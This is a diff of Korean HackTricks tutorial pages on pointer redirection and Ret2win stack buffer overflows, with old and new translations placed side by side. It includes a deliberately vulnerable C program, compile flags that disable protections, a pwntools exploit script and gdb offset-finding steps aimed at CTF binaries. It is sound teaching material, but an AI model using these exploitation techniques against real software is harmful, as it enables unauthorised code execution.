* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details> </details>
{% endhint %}
## 문자열 포인터 ## 문자열 포인터
함수 호출이 스택에 있는 문자열의 주소를 사용할 것이라면, 버퍼 오버플로우를 악용하여 **이 주소를 덮어쓰고** 이진 파일 내의 **다른 문자열의 주소를 넣을 수 있습니다**. 함수 호출이 스택에 위치한 문자열의 주소를 사용할 경우, 버퍼 오버플로우를 악용하여 **이 주소를 덮어쓰고** 바이너리 내부에 **다른 문자열의 주소를 넣는** 것이 가능합니다.
예를 들어 **`system`** 함수 호출이 **명령을 실행할 문자열의 주소를 사용할 경우**, 공격자는 스택에 **다른 문자열의 주소를 넣을 수 있습니다**, **`export PATH=.:$PATH`** 및 현재 디렉토리에 첫 번째 문자열의 이름을 가진 스크립트를 만들 수 있습니다. 이는 이진 파일에서 실행될 것입니다. 예를 들어 **`system`** 함수 호출이 **명령을 실행하기 위해 문자열의 주소를 사용할 경우**, 공격자는 **스택에 다른 문자열의 주소를 배치하고**, **`export PATH=.:$PATH`**를 사용하여 현재 디렉토리에 **새 문자열의 첫 글자 이름을 가진 스크립트를 생성**할 수 있습니다. 이는 바이너리에 의해 실행됩니다.
이에 대한 **예제**를 다음에서 찾을 수 있습니다: 다음에서 **예제**를 찾을 수 있습니다:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html) * [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
* 32비트, 스택에 있는 플래그 문자열의 주소를 변경하여 `puts`에 의해 출력 * 32비트, 스택에 플래그 문자열의 주소를 변경하여 `puts`에 의해 출력되도록 함
## 함수 포인터 ## 함수 포인터
문자열 포인터와 동일하지만 함수에 적용되는 경우, **스택에 호출될 함수의 주소가 포함**되어 있으면 **변경할 수 있습니다** (예: **`system`** 호출). 문자열 포인터와 동일하지만 함수에 적용됩니다. **스택에 호출될 함수의 주소가 포함되어 있는 경우**, 이를 **변경하는 것이 가능합니다** (예: **`system`** 호출).
다음에서 예제를 찾을 수 있습니다: 다음에서 예제를 찾을 수 있습니다:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## 참고 ## 참고 문헌
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹 배우기</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Ret2win # Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## Basic Information
**Ret2win** 도전 과제는 **바이너리 공격**을 포함하는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리입니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내의 특정하지 않은 함수를 실행하는 것입니다. 이 함수는 일반적으로 `win`, `flag` 등으로 명명되며 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 도전 과제는 주로 **스택**의 **리턴 어드레스**를 덮어쓰고 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 예시를 통해 더 자세히 설명하겠습니다: **Ret2win** 챌린지는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리로, 특히 **binary exploitation**과 관련된 작업에서 그렇습니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 보통 `win`, `flag`와 같은 이름을 가집니다. 이 함수가 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 이 챌린지는 일반적으로 스택의 **return address**를 덮어써서 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 다음은 예제를 포함한 더 자세한 설명입니다:
### C 예시 ### C Example
취약점이 있는 간단한 C 프로그램과 호출할 `win` 함수가 있는 C 프로그램을 고려해보겠습니다: 취약점이 있는 간단한 C 프로그램과 우리가 호출하려는 `win` 함수가 있다고 가정해 보겠습니다:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -39,19 +40,19 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
이 프로그램을 스택 보호 기능 없이 컴파일하고 **ASLR**를 비활성화하려면 다음 명령을 사용할 수 있습니다: 이 프로그램을 스택 보호 없이 **ASLR**을 비활성화하여 컴파일하려면 다음 명령어를 사용할 수 있습니다:
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
* `-m32`: 프로그램을 32비트 바이너리로 컴파일합니다 (선택 사항이지만 CTF 도전 과제에서 일반적입니다). * `-m32`: 프로그램을 32비트 바이너리로 컴파일합니다 (선택 사항이지만 CTF 챌린지에서 일반적입니다).
* `-fno-stack-protector`: 스택 오버플로우에 대한 보호 기능을 비활성화합니다. * `-fno-stack-protector`: 스택 오버플로우에 대한 보호 비활성화합니다.
* `-z execstack`: 스택에서 코드 실행을 허용합니다. * `-z execstack`: 스택에서 코드 실행을 허용합니다.
* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 `win` 함수의 주소가 변경되지 않도록 합니다. * `-no-pie`: `win` 함수의 주소가 변경되지 않도록 위치 독립 실행 파일을 비활성화합니다.
* `-o vulnerable`: 출력 파일의 이름을 `vulnerable`로 지정합니다. * `-o vulnerable`: 출력 파일 이름을 `vulnerable`로 설정합니다.
### Pwntools를 사용한 Python Exploit ### Pwntools를 이용한 Python 익스플로잇
해킹에는 **pwntools**를 사용할 것이며, 이는 해킹을 위한 강력한 CTF 프레임워크입니다. Exploit 스크립트는 버퍼 오버플로우를 유발하고 반환 주소를 `win` 함수의 주소로 덮어씁니다. 익스플로잇을 위해 **pwntools**를 사용할 것입니다. 이는 익스플로잇 작성을 위한 강력한 CTF 프레임워크입니다. 익스플로잇 스크립트는 버퍼를 오버플로우하고 `win` 함수의 주소로 반환 주소를 덮어쓰는 페이로드를 생성합니다.
```python ```python
from pwn import * from pwn import *
@ -71,44 +72,44 @@ payload = b'A' * 68 + win_addr
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
`win` 함수의 주소를 찾으려면 **gdb**, **objdump**, 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어 `objdump`를 사용하여 다음과 같이 할 수 있습니다: `win` 함수의 주소를 찾으려면 **gdb**, **objdump** 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어, `objdump`를 사용하여 다음과 같이 할 수 있습니다:
```sh ```sh
objdump -d vulnerable | grep win objdump -d vulnerable | grep win
``` ```
이 명령은 `win` 함수의 어셈블리를 보여주며 시작 주소를 포함합니다. 이 명령은 `win` 함수의 어셈블리를 보여주며, 시작 주소를 포함합니다.&#x20;
Python 스크립트는 `vulnerable_function`서 처리될 때 정확히 조작된 메시지를 보내어 버퍼 오버플로우를 발생시키고 스택의 반환 주소를 `win`의 주소로 덮어씁니다. `vulnerable_function`이 반환될 때 `main`으로 반환하거나 종료하는 대신 `win`으로 이동하여 메시지가 출력됩니다. Python 스크립트는 `vulnerable_function` 의해 처리될 때 버퍼를 오버플로우하고 스택의 반환 주소를 `win`의 주소로 덮어쓰는 정교하게 제작된 메시지를 보냅니다. `vulnerable_function`이 반환될 때, `main`으로 반환하거나 종료하는 대신 `win`으로 점프하고 메시지가 출력됩니다.
## 보호 기능 ## 보호 조치
* [**PIE**](../../common-binary-protections-and-bypasses/pie/)**비활성화**되어야 합니다. 그렇지 않으면 주소가 실행마다 신뢰할 수 없게 되어 함수가 저장될 주소가 항상 동일하지 않아서 win 함수가 로드된 위치를 파악하기 위해 일종의 leak이 필요합니다. 오버플로우를 일으키는 함수가 `read`와 같은 경우, 반환 주소를 win 함수로 변경하기 위해 1 또는 2바이트의 **부분 덮어쓰기**를 수행할 수 있습니다. ASLR 작동 방식 때문에 마지막 세 개의 16진수는 무작위화되지 않으므로 올바른 반환 주소를 얻을 **1/16 확률** (1개의 16진수)이 있습니다. * [**PIE**](../../common-binary-protections-and-bypasses/pie/) **는 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, `win` 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다. 오버플로우를 유발하는 함수가 `read` 또는 유사한 경우, 반환 주소를 `win` 함수로 변경하기 위해 1 또는 2 바이트의 **부분 덮어쓰기**를 수행할 수 있습니다. ASLR 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 **1/16** (1 니블)입니다.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다. * [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
## 다른 예제 및 참고 자료 ## 기타 예제 및 참조
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) * [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html) * [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32비트, ASLR 없음 * 32비트, ASLR 없음
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64비트, ASLR 있음, 바이너리 주소의 leak 포함 * ASLR가 있는 64비트, bin 주소의 leak 포함
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64비트, ASLR 없음 * 64비트, ASLR 없음
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32비트, ASLR 없음, 더블 스몰 오버플로우, 스택 오버플로우 및 두 번째 오버플로우 크기 확장 * 32비트, ASLR 없음, 이중 소규모 오버플로우, 첫 번째로 스택을 오버플로우하고 두 번째 오버플로우의 크기를 늘림
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32비트, relro, 캐너리 없음, nx, pie 없음, 주소 `fflush`를 win 함수 (ret2win)으로 덮어쓰기 위한 형식 문자열 * 32비트, relro, 카나리 없음, nx, pie 없음, `fflush` 주소를 `win` 함수로 덮어쓰는 포맷 문자열 (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html) * [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32비트, nx, 그 외 아무것도 없음, EIP (1바이트)의 부분 덮어쓰기를 통해 win 함수를 호출 * 32비트, nx, 그 외 없음, win 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html) * [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32비트, nx, 그 외 아무것도 없음, EIP (1바이트)의 부분 덮어쓰기를 통해 win 함수를 호출 * 32비트, nx, 그 외 없음, win 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html) * [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* 프로그램은 입력 크기를 확인하기 위해 숫자의 마지막 바이트만 유효성을 검사하므로 허용된 범위 내에서 마지막 바이트가 있는 한 어떤 크기도 추가할 수 있습니다. 그런 다음 입력은 ret2win으로 이용되는 버퍼 오버플로우를 생성합니다. * 프로그램은 입력 크기를 확인하기 위해 숫자의 마지막 바이트만 검증하므로, 마지막 바이트가 허용된 범위 내에 있는 한 어떤 크기도 추가할 수 있습니다. 그런 다음 입력은 ret2win으로 악용된 버퍼 오버플로우를 생성합니다.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) * [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64비트, relro, 캐너리 없음, nx, pie. win 함수 (ret2win)를 호출하기 위한 부분 덮어쓰기 * 64비트, relro, 카나리 없음, nx, pie. win 함수를 호출하기 위한 부분 덮어쓰기 (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64, PIE, win 함수의 PIE leak은 실제로 2개의 함수이므로 2개의 함수를 호출하는 ROP 가젯 * arm64, PIE, win 함수 실제로 2개의 함수이므로 2개의 함수를 호출하는 ROP 가젯
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64, off-by-one을 사용하여 win 함수를 호출합니다. * ARM64, off-by-one으로 win 함수를 호출
## ARM64 예제 ## ARM64 예제
@ -116,16 +117,17 @@ Python 스크립트는 `vulnerable_function`에서 처리될 때 정확히 조
[ret2win-arm64.md](ret2win-arm64.md) [ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,20 +1,25 @@
# Ret2win - arm64 # Ret2win - arm64
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
</details> </details>
{% endhint %}
[arm64 기본 어셈블리](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)에서 arm64에 대한 소개를 찾을 수 있습니다. arm64에 대한 소개는 다음에서 확인하세요:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## 코드&#x20; ## 코드&#x20;
```c ```c
@ -35,7 +40,7 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
파이(Pie)와 캐너리(Canary) 없이 컴파일하기: 파이 및 카나리 없이 컴파일:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
``` ```
@ -45,7 +50,7 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
이 예제는 [**GEF**](https://github.com/bata24/gef)를 사용하여 생성되었습니다: 이 예제는 [**GEF**](https://github.com/bata24/gef)를 사용하여 생성되었습니다:
GEF로 gdb를 시작하고 패턴을 생성한 다음 사용하세요: gef로 gdb를 시작하고, 패턴을 생성한 후 사용합니다:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
pattern create 200 pattern create 200
@ -53,17 +58,17 @@ run
``` ```
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64는 레지스터 x30에 있는 주소로 반환하려고 시도할 것이며(이는 손상됨), 이를 사용하여 패턴 오프셋을 찾을 수 있습니다: arm64는 손상된 레지스터 x30의 주소로 돌아가려고 시도합니다. 이를 사용하여 패턴 오프셋을 찾을 수 있습니다:
```bash ```bash
pattern search $x30 pattern search $x30
``` ```
<figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure>
**오프셋은 72 (9x48)입니다.** **오프셋은 72입니다 (9x48).**
### 스택 오프셋 옵션 ### 스택 오프셋 옵션
먼저 pc 레지스터가 저장된 스택 주소를 얻는 것으로 시작합니다: pc 레지스터가 저장된 스택 주소를 가져오는 것부터 시작합니다:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
b *vulnerable_function + 0xc b *vulnerable_function + 0xc
@ -72,7 +77,7 @@ info frame
``` ```
<figure><img src="../../../.gitbook/assets/image (1207).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1207).png" alt=""><figcaption></figcaption></figure>
이제 `read()` 이후에 중단점을 설정하고 `read()`가 실행될 때까지 계속 진행하고 13371337과 같은 패턴을 설정하십시오: 이제 `read()` 이후에 중단점을 설정하고 `read()`가 실행될 때까지 계속 진행한 다음 13371337과 같은 패턴을 설정합니다:
``` ```
b *vulnerable_function+28 b *vulnerable_function+28
c c
@ -91,13 +96,13 @@ c
### Regular ### Regular
**`win`** 함수의 주소를 얻으세요: **`win`** 함수의 주소를 가져오세요:
```bash ```bash
objdump -d ret2win | grep win objdump -d ret2win | grep win
